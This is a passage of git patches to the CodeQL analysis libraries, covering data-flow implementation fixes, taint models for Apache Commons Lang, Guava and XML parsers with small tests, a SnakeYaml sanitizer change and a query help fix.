b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll index d9f5acdd279..59cc8d529a7 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll index d9f5acdd279..59cc8d529a7 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll index d9f5acdd279..59cc8d529a7 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll index d9f5acdd279..59cc8d529a7 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl2.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl2.qll index d9f5acdd279..59cc8d529a7 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl2.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl2.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl3.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl3.qll index d9f5acdd279..59cc8d529a7 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl3.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl3.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl4.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl4.qll index d9f5acdd279..59cc8d529a7 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl4.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl4.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl5.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl5.qll index d9f5acdd279..59cc8d529a7 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl5.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowImpl5.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl.qll b/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl.qll index d9f5acdd279..59cc8d529a7 100644 --- a/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl.qll +++ b/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl2.qll b/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl2.qll index d9f5acdd279..59cc8d529a7 100644 --- a/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl2.qll +++ b/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl2.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl3.qll b/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl3.qll index d9f5acdd279..59cc8d529a7 100644 --- a/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl3.qll +++ b/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl3.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl4.qll b/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl4.qll index d9f5acdd279..59cc8d529a7 100644 --- a/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl4.qll +++ b/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl4.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl5.qll b/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl5.qll index d9f5acdd279..59cc8d529a7 100644 --- a/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl5.qll +++ b/java/ql/src/semmle/code/java/dataflow/internal/DataFlowImpl5.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl.qll index d9f5acdd279..59cc8d529a7 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl2.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl2.qll index d9f5acdd279..59cc8d529a7 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl2.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl2.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl3.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl3.qll index d9f5acdd279..59cc8d529a7 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl3.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl3.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl4.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl4.qll index d9f5acdd279..59cc8d529a7 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl4.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowImpl4.qll @@ -3598,6 +3598,7 @@ private module FlowExploration { or exists(PartialPathNodeRev mid | revPartialPathStep(mid, node, sc1, sc2, ap, config) and + not clearsContent(node, ap.getHead()) and not fullBarrier(node, config) and distSink(node.getEnclosingCallable(), config) <= config.explorationLimit() ) @@ -3611,6 +3612,7 @@ private module FlowExploration { exists(PartialPathNodeFwd mid | partialPathStep(mid, node, cc, sc1, sc2, ap, config) and not fullBarrier(node, config) and + not clearsContent(node, ap.getHead().getContent()) and if node instanceof CastingNode then compatibleTypes(getNodeType(node), ap.getType()) else any() From 3b4357792bdb194e31918fbd007e366a43aac34b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Wed, 10 Feb 2021 12:21:48 +0100 Subject: [PATCH 1125/1241] Remove sanitizing condition which does not prevent vulnerability. --- .../ql/src/semmle/code/java/frameworks/SnakeYaml.qll | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/java/ql/src/semmle/code/java/frameworks/SnakeYaml.qll b/java/ql/src/semmle/code/java/frameworks/SnakeYaml.qll index 5c277b7200b..04b3be0a3dc 100644 --- a/java/ql/src/semmle/code/java/frameworks/SnakeYaml.qll +++ b/java/ql/src/semmle/code/java/frameworks/SnakeYaml.qll @@ -7,13 +7,6 @@ import semmle.code.java.dataflow.DataFlow import semmle.code.java.dataflow.DataFlow2 import semmle.code.java.dataflow.DataFlow3 -/** - * The class `org.yaml.snakeyaml.constructor.Constructor`. - */ -class SnakeYamlConstructor extends RefType { - SnakeYamlConstructor() { this.hasQualifiedName("org.yaml.snakeyaml.constructor", "Constructor") } -} - /** * The class `org.yaml.snakeyaml.constructor.SafeConstructor`. */ @@ -24,14 +17,11 @@ class SnakeYamlSafeConstructor extends RefType { } /** - * An instance of `SafeConstructor` or a `Constructor` that only allows the type that is passed into its argument. + * An instance of `SafeConstructor` */ class SafeSnakeYamlConstruction extends ClassInstanceExpr { SafeSnakeYamlConstruction() { this.getConstructedType() instanceof SnakeYamlSafeConstructor - or - this.getConstructedType() instanceof SnakeYamlConstructor and - this.getNumArgument() > 0 } } From 0cf3a29429dacc1e0876d1198b71ec1b5aaa7e7a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Wed, 10 Feb 2021 13:09:57 +0100 Subject: [PATCH 1126/1241] Add support for Apache Commons Lang ArrayUtils --- .../code/java/frameworks/apache/Lang.qll | 49 +++++++++++++++---- 1 file changed, 40 insertions(+), 9 deletions(-) diff --git a/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll b/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll index dcf91b36132..e31b2e30861 100644 --- a/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll +++ b/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll @@ -1,27 +1,58 @@ /** Definitions related to the Apache Commons Lang library. */ import java +private import semmle.code.java.dataflow.FlowSteps -/*--- Types ---*/ -/** The class `org.apache.commons.lang.RandomStringUtils` or `org.apache.commons.lang3.RandomStringUtils`. */ +/** + * The class `org.apache.commons.lang.RandomStringUtils` or `org.apache.commons.lang3.RandomStringUtils`. + */ class TypeApacheRandomStringUtils extends Class { TypeApacheRandomStringUtils() { - hasQualifiedName("org.apache.commons.lang", "RandomStringUtils") or - hasQualifiedName("org.apache.commons.lang3", "RandomStringUtils") + this.hasQualifiedName(["org.apache.commons.lang", "org.apache.commons.lang3"], "RandomStringUtils") + } +} + +/** + * The class `org.apache.commons.lang.ArrayUtils` or `org.apache.commons.lang3.ArrayUtils`. + */ +class TypeApacheArrayUtils extends Class { + TypeApacheArrayUtils() { + hasQualifiedName(["org.apache.commons.lang", "org.apache.commons.lang3"], "ArrayUtils") } } -/*--- Methods ---*/ /** * The method `deserialize` in either `org.apache.commons.lang.SerializationUtils` * or `org.apache.commons.lang3.SerializationUtils`. */ class MethodApacheSerializationUtilsDeserialize extends Method { MethodApacheSerializationUtilsDeserialize() { - ( - this.getDeclaringType().hasQualifiedName("org.apache.commons.lang", "SerializationUtils") or - this.getDeclaringType().hasQualifiedName("org.apache.commons.lang3", "SerializationUtils") - ) and + this.getDeclaringType().hasQualifiedName(["org.apache.commons.lang", "org.apache.commons.lang3"], "SerializationUtils") and this.hasName("deserialize") } } + +/** + * A taint preserving method on `org.apache.commons.lang.ArrayUtils` or `org.apache.commons.lang3.ArrayUtils` + */ +private class ApacheLangArrayUtilsTaintPreservingMethod extends TaintPreservingCallable { + ApacheLangArrayUtilsTaintPreservingMethod() { + this.getDeclaringType() instanceof TypeApacheArrayUtils + } + + override predicate returnsTaintFrom(int src) { + this.hasName(["addAll", "addFirst"]) and + src = [0 .. getNumberOfParameters()] + or + this.hasName(["clone", "nullToEmpty", "remove", "removeAll", "removeElement", "removeElements", "reverse", "shift", "shuffle", "subarray", "swap", "toArray", "toMap", "toObject", "toPrimitive", "toString", "toStringArray"]) and + src = 0 + or + this.hasName("add") and + this.getNumberOfParameters() = 2 and + src = [0,1,2] + or + this.hasName("add") and + this.getNumberOfParameters() = 3 and + src = [0, 2] + } +} From 645b021845e4a2f8b36379d1bdec9c1f707e4234 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Wed, 10 Feb 2021 13:20:29 +0100 Subject: [PATCH 1127/1241] Add support for the Preconditions Class in the Guava framework --- .../code/java/frameworks/guava/Guava.qll | 1 + .../java/frameworks/guava/Preconditions.qll | 23 +++++++++++++++++++ 2 files changed, 24 insertions(+) create mode 100644 java/ql/src/semmle/code/java/frameworks/guava/Preconditions.qll diff --git a/java/ql/src/semmle/code/java/frameworks/guava/Guava.qll b/java/ql/src/semmle/code/java/frameworks/guava/Guava.qll index 547a920d749..c6bdf0ea9b9 100644 --- a/java/ql/src/semmle/code/java/frameworks/guava/Guava.qll +++ b/java/ql/src/semmle/code/java/frameworks/guava/Guava.qll @@ -5,3 +5,4 @@ import java import StringUtils import Collections +import Preconditions diff --git a/java/ql/src/semmle/code/java/frameworks/guava/Preconditions.qll b/java/ql/src/semmle/code/java/frameworks/guava/Preconditions.qll new file mode 100644 index 00000000000..f9fce517988 --- /dev/null +++ b/java/ql/src/semmle/code/java/frameworks/guava/Preconditions.qll @@ -0,0 +1,23 @@ +/** Definitions of flow steps through the Preconditions class in the Guava framework. */ + +import java +private import semmle.code.java.dataflow.FlowSteps + +/** + * The class `com.google.common.base.Preconditions`. + */ +class TypeGuavaPreconditions extends Class { + TypeGuavaPreconditions() { this.hasQualifiedName("com.google.common.base", "Preconditions") } +} + +/** + * A method that returns its argumnets. + */ +private class GuavaPreconditionsMethod extends TaintPreservingCallable { + GuavaPreconditionsMethod() { + this.getDeclaringType() instanceof TypeGuavaPreconditions and + this.hasName("checkNotNull") + } + + override predicate returnsTaintFrom(int src) { src = 0 } +} From 5c82ff83ded47c67bbf5e4ae0e33da569ac73eff Mon Sep 17 00:00:00 2001 From: intrigus Date: Wed, 10 Feb 2021 13:57:51 +0100 Subject: [PATCH 1128/1241] Java: Fix qhelp, fix CWE reference --- .../Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp | 3 +-- .../Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp index 38b37901c0c..7327573b8ba 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp @@ -10,13 +10,12 @@ Versions smaller than 6.24 by default ignore any HTTPS certificate errors thereb -

    Do either of these: +

    Do either of these:

    • Update to version 6.24 or 7.x.x as these correctly reject certificate errors by default.
    • Add a custom implementation of the LoadHandler interface whose onCertificateError method always returns true indicating that loading should be cancelled. Then use the setLoadHandler method with your custom LoadHandler on every Browser you use.
    -

    diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql index 4046f4e9606..aecffaf3f3b 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql @@ -4,7 +4,7 @@ * @kind problem * @id java/jxbrowser/disabled-certificate-validation * @tags security - * external/cwe-295 + * external/cwe/cwe-295 */ import java From 44ca2e26a64cea5e5495e8fbbf64562a2839492e Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 4 Feb 2021 17:08:18 +0100 Subject: [PATCH 1129/1241] add taint-step to XML parsers --- .../javascript/frameworks/XmlParsers.qll | 25 ++++++++++++++++--- .../TaintTracking/BasicTaintTracking.expected | 1 + .../test/library-tests/TaintTracking/xml.js | 10 ++++++++ 3 files changed, 33 insertions(+), 3 deletions(-) create mode 100644 javascript/ql/test/library-tests/TaintTracking/xml.js diff --git a/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll b/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll index 060fa62ee76..3a78bda7b1a 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll @@ -25,6 +25,9 @@ module XML { /** Holds if this call to the XML parser resolves entities of the given `kind`. */ abstract predicate resolvesEntities(EntityKind kind); + + /** Gets a reference to a value resulting from parsing the XML. */ + js::DataFlow::Node getAResult() { none() } } /** @@ -98,10 +101,11 @@ module XML { * An invocation of `expat.Parser.parse` or `expat.Parser.write`. */ class ExpatParserInvocation extends ParserInvocation { + js::DataFlow::NewNode parser; + ExpatParserInvocation() { - exists(string m | m = "parse" or m = "write" | - this = moduleMethodCall("node-expat", "Parser", m) - ) + parser = js::DataFlow::moduleMember("node-expat", "Parser").getAnInstantiation() and + this = parser.getAMemberCall(["parse", "write"]).asExpr() } override js::Expr getSourceArgument() { result = getArgument(0) } @@ -110,6 +114,10 @@ module XML { // only internal entities are resolved by default kind = InternalEntity() } + + override js::DataFlow::Node getAResult() { + result = parser.getAMemberCall("on").getABoundCallbackParameter(1, _) + } } /** @@ -160,4 +168,15 @@ module XML { override predicate resolvesEntities(XML::EntityKind kind) { kind = InternalEntity() } } + + private class XMLParserTaintStep extends js::TaintTracking::AdditionalTaintStep { + XML::ParserInvocation parser; + + XMLParserTaintStep() { this.asExpr() = parser } + + override predicate step(js::DataFlow::Node pred, js::DataFlow::Node succ) { + pred.asExpr() = parser.getSourceArgument() and + succ = parser.getAResult() + } + } } diff --git a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected index 24fcbb5a6ef..3af34b132d0 100644 --- a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected +++ b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected @@ -145,3 +145,4 @@ typeInferenceMismatch | tst.js:2:13:2:20 | source() | tst.js:45:10:45:24 | x.map(x2 => x2) | | tst.js:2:13:2:20 | source() | tst.js:47:10:47:30 | Buffer. ... 'hex') | | tst.js:2:13:2:20 | source() | tst.js:48:10:48:22 | new Buffer(x) | +| xml.js:5:18:5:25 | source() | xml.js:8:14:8:17 | text | diff --git a/javascript/ql/test/library-tests/TaintTracking/xml.js b/javascript/ql/test/library-tests/TaintTracking/xml.js new file mode 100644 index 00000000000..d7e25268493 --- /dev/null +++ b/javascript/ql/test/library-tests/TaintTracking/xml.js @@ -0,0 +1,10 @@ +(function () { + var Parser = require("node-expat").Parser + var parser = new Parser(); + + parser.write(source()); + + parser.on("text", text => { + sink(text); // NOT OK + }); +})(); \ No newline at end of file From c43025d7b3a741a5ba652013841807ce0f9343a8 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 4 Feb 2021 17:32:14 +0100 Subject: [PATCH 1130/1241] add model for xml2js --- .../javascript/frameworks/XmlParsers.qll | 25 +++++++++++++++++++ .../TaintTracking/BasicTaintTracking.expected | 1 + .../test/library-tests/TaintTracking/xml.js | 5 ++++ 3 files changed, 31 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll b/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll index 3a78bda7b1a..c9f2b993a5c 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll @@ -169,6 +169,31 @@ module XML { override predicate resolvesEntities(XML::EntityKind kind) { kind = InternalEntity() } } + /** + * An invocation of `xml2js`. + */ + private class Xml2JSInvocation extends XML::ParserInvocation { + js::DataFlow::CallNode call; + + Xml2JSInvocation() { + exists(js::API::Node imp | imp = js::API::moduleImport("xml2js") | + call = [imp, imp.getMember("Parser").getInstance()].getMember("parseString").getACall() and + this = call.asExpr() + ) + } + + override js::Expr getSourceArgument() { result = getArgument(0) } + + override predicate resolvesEntities(XML::EntityKind kind) { + // sax-js (the parser used) does not expand entities. + none() + } + + override js::DataFlow::Node getAResult() { + result = call.getABoundCallbackParameter(call.getNumArgument() - 1, 1) + } + } + private class XMLParserTaintStep extends js::TaintTracking::AdditionalTaintStep { XML::ParserInvocation parser; diff --git a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected index 3af34b132d0..8b2453a3cb1 100644 --- a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected +++ b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected @@ -146,3 +146,4 @@ typeInferenceMismatch | tst.js:2:13:2:20 | source() | tst.js:47:10:47:30 | Buffer. ... 'hex') | | tst.js:2:13:2:20 | source() | tst.js:48:10:48:22 | new Buffer(x) | | xml.js:5:18:5:25 | source() | xml.js:8:14:8:17 | text | +| xml.js:12:17:12:24 | source() | xml.js:13:14:13:19 | result | diff --git a/javascript/ql/test/library-tests/TaintTracking/xml.js b/javascript/ql/test/library-tests/TaintTracking/xml.js index d7e25268493..25e733c8fab 100644 --- a/javascript/ql/test/library-tests/TaintTracking/xml.js +++ b/javascript/ql/test/library-tests/TaintTracking/xml.js @@ 